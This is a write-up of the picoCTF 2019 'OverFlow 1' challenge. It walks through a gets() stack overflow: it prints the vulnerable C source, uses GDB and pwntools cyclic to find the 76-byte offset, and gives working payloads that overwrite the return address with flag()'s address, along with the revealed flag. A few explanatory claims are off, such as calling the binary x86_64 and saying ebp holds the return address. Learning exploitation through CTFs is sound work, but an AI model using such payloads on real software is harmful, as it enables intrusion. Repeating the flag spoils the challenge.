PicoCTF19 OverFlow 1

Challenge

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1 on the shell server. Source.

Hints

Take control that return address

Make sure your address is in Little Endian.

Solution

Let's view that directory:

samson@pico-2019-shell1:/problems/overflow-1$ ls -al
total 92
drwxr-xr-x   2 root       root          4096 Sep 28 21:51 .
drwxr-x--x 684 root       root         69632 Oct 10 18:02 ..
-r--r-----   1 hacksports overflow-1_3    42 Sep 28 21:51 flag.txt
-rwxr-sr-x   1 hacksports overflow-1_3  7532 Sep 28 21:51 vuln
-rw-rw-r--   1 hacksports hacksports     742 Sep 28 21:51 vuln.c

Let's view vuln.c

samson@pico-2019-shell1:/problems/overflow-1$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

As expected, there is a function that prints the flag but it's never explicitly called.

The program takes a string and attempts to jump to that address. But hey, since this is an overflow question let's just give the program a bunch of garbage and see what happens.

samson@pico-2019-shell1:/problems/overflow-1$ ./vuln
Give me a string and lets see what happens: 

Woah, were jumping to 0x8048705 !
samson@pico-2019-shell1:/problems/overflow-1$ ./vuln
Give me a string and lets see what happens: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Woah, were jumping to 0x41414141 !
Segmentation fault (core dumped)

Hmm: 0x41414141. If you're familiar with the ASCII Table, A is 41 in hexadecimal.

So it looks like we overwrite some instructions with our input. Let's find the minimal amount of A's required to change the jump address.

samson@pico-2019-shell1:/problems/overflow-1$ echo $(python -c "print 'A'*77") | ./vuln
Give me a string and lets see what happens:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Woah, were jumping to 0x8040041 !
Segmentation fault (core dumped)

Notice how with no input the value is 0x8048705 but with 77 A's, it's 0x8040041.

You can see the first 41 is at the end. This is due to x86_64 working in little endian mode.

So basically this overflow seems like we might have to overwrite the address with the address of the flag and in order to do that we first need to figure out which memory address the flag function is located at and we can do that with GDB.

samson@pico-2019-shell1:/problems/overflow-1$ gdb ./vuln 
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
... <redacted>
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) x flag
0x80485e6 <flag>:       0x53e58955
(gdb) q

There it is at memory address 0x80485e6.

Let's try working that into the address:

samson@pico-2019-shell1:/problems/overflow-1$ echo $(python -c "print 'A'*77+'\xe6'")  | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x800e641 !
Segmentation fault (core dumped)
samson@pico-2019-shell1:/problems/overflow-1$ echo $(python -c "print 'A'*76+'\xe6'") | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80400e6 !
Segmentation fault (core dumped)
samson@pico-2019-shell1:/problems/overflow-1$ echo $(python -c "print 'A'*76+'\xe6\x85\x04\x08'") | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a21b59fb}Segmentation fault (core dumped)

More detailed explanation

So why did that work? We won't have a nice function that tells us the return address all the time.

In x86 assembly, the memory address of where a program is returning to is held in the ebp register, otherwise known as the base pointer. So let's try to see if we can match the register value to what the function prints out for us

samson@pico-2019-shell1:/problems/overflow-1$ ./vuln 
Give me a string and lets see what happens: 
picoCTF
Woah, were jumping to 0x8048705 !
samson@pico-2019-shell1:/problems/overflow-1$ gdb ./vuln
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
... <redacted>

(gdb) r < <(python -c 'print("A"*64)')
Starting program: /problems/overflow-1/vuln < <(python -c 'print("A"*64)')
Give me a string and lets see what happens: 
Woah, were jumping to 0x8048705 !
[Inferior 1 (process 2891586) exited normally]

(gdb) r < <(python -c 'print("A"*76+"\xe6\x85\x04\x08")')
Starting program: /problems/overflow-1/vuln < <(python -c 'print("A"*76+"\xe6\x85\x04\x08")')
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
Flag File is Missing. please contact an Admin if you are running this on the shell server.
[Inferior 1 (process 2891439) exited normally]

Just verifying we can send in input through GDB.

(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804865f <+0>:     push   %ebp
   0x08048660 <+1>:     mov    %esp,%ebp
   0x08048662 <+3>:     push   %ebx
   0x08048663 <+4>:     sub    $0x44,%esp
   0x08048666 <+7>:     call   0x8048520 <__x86.get_pc_thunk.bx>
   0x0804866b <+12>:    add    $0x1995,%ebx
   0x08048671 <+18>:    sub    $0xc,%esp
   0x08048674 <+21>:    lea    -0x48(%ebp),%eax
   0x08048677 <+24>:    push   %eax
   0x08048678 <+25>:    call   0x8048430 <gets@plt>
   0x0804867d <+30>:    add    $0x10,%esp
   0x08048680 <+33>:    call   0x8048714 <get_return_address>
   0x08048685 <+38>:    sub    $0x8,%esp
   0x08048688 <+41>:    push   %eax
   0x08048689 <+42>:    lea    -0x17f9(%ebx),%eax
   0x0804868f <+48>:    push   %eax
   0x08048690 <+49>:    call   0x8048420 <printf@plt>
   0x08048695 <+54>:    add    $0x10,%esp
   0x08048698 <+57>:    nop
   0x08048699 <+58>:    mov    -0x4(%ebp),%ebx
   0x0804869c <+61>:    leave  
   0x0804869d <+62>:    ret    
End of assembler dump.

We know the call 0x8048430 <gets@plt> is where the assembly code gets user input so lets view the important bits of the stack change as we step through it after setting a breakpoint right before it.

How do we know gets() is the function that's vulnerable? Well try running man gets. Here's an excerpt:

GETS(3)    Linux Programmer's Manual    GETS(3)

NAME
  gets - get a string from standard input (DEPRECATED)

SYNOPSIS
  #include <stdio.h>

  char *gets(char *s);

DESCRIPTION
  Never use this function.
  gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).

RETURN VALUE
  gets() returns s on success, and NULL on error or when end of file occurs while no characters have been read. However, given the lack of buffer overrun checking, there can be no guarantees that the function will even return.
(gdb) b* 0x08048678
Breakpoint 1 at 0x8048678
(gdb) r < <(python -c 'print("A"*76+"\xe6\x85\x04\x08")')
Starting program: /problems/overflow-1/vuln < <(python -c 'print("A"*76+"\xe6\x85\x04\x08")')
Give me a string and lets see what happens: 

Breakpoint 1, 0x08048678 in vuln ()
(gdb) info frame
Stack level 0, frame at 0xffde0df0:
 eip = 0x8048678 in vuln; saved eip = 0x8048705
 called by frame at 0xffde0e20
 Arglist at 0xffde0de8, args: 
 Locals at 0xffde0de8, Previous frame's sp is 0xffde0df0
 Saved registers:
  ebx at 0xffde0de4, ebp at 0xffde0de8, eip at 0xffde0dec

Note the output: saved eip = 0x8048705. As we know the EIP is the instruction pointer that the allows to the CPU to remember where to jump to after returning from a function.

Let's step through with the next instruction command and watch what happens after the program receives our input.

(gdb) ni
0x0804867d in vuln ()
(gdb) i f
Stack level 0, frame at 0xffde0df0:
 eip = 0x804867d in vuln; saved eip = 0x80485e6
 called by frame at 0x41414149
 Arglist at 0xffde0de8, args: 
 Locals at 0xffde0de8, Previous frame's sp is 0xffde0df0
 Saved registers:
  ebx at 0xffde0de4, ebp at 0xffde0de8, eip at 0xffde0dec

There we go. We overwrote the old value of the eip and now the program should technically jump wherever we want, in our case the address of the flag.

Flag

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a21b59fb}

Alternative Solution - PwnTools

To recap, vuln allocates a buffer of size 64 on the stack and then uses gets a vulnerable function to read from it.

The first step is to calculate the amount of padding required from the beginning of the buffer all the way to the return address on the stack.

Luckily for us, the program prints the return address where the program will be jumping back to. Let's use PwnTools cyclic module this.

Visit this page to learn more on how to use it: https://docs.pwntools.com/en/stable/util/cyclic.html

samson@pico-2019-shell1:/problems/overflow-1$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
samson@pico-2019-shell1:/problems/overflow-1$ cyclic 100 | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x61616174 !
Segmentation fault (core dumped)

61, 61, 61, 74 - map to a, a, a, t.

I see this pattern in that long string, but I really don't want to count it.

samson@pico-2019-shell1:/problems/overflow-1$ cyclic -l 0x61616174
76

So we need 76 bytes of padding and then the address of the flag() function.

samson@pico-2019-shell1:/problems/overflow-1$ objdump -t vuln | grep flag
080485e6 g     F .text  00000079              flag
samson@pico-2019-shell1:/problems/overflow-1$ python -c "from pwn import *; print('A'*76 + p32(0x080485e6))" | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a21b59fb}Segmentation fault (core dumped)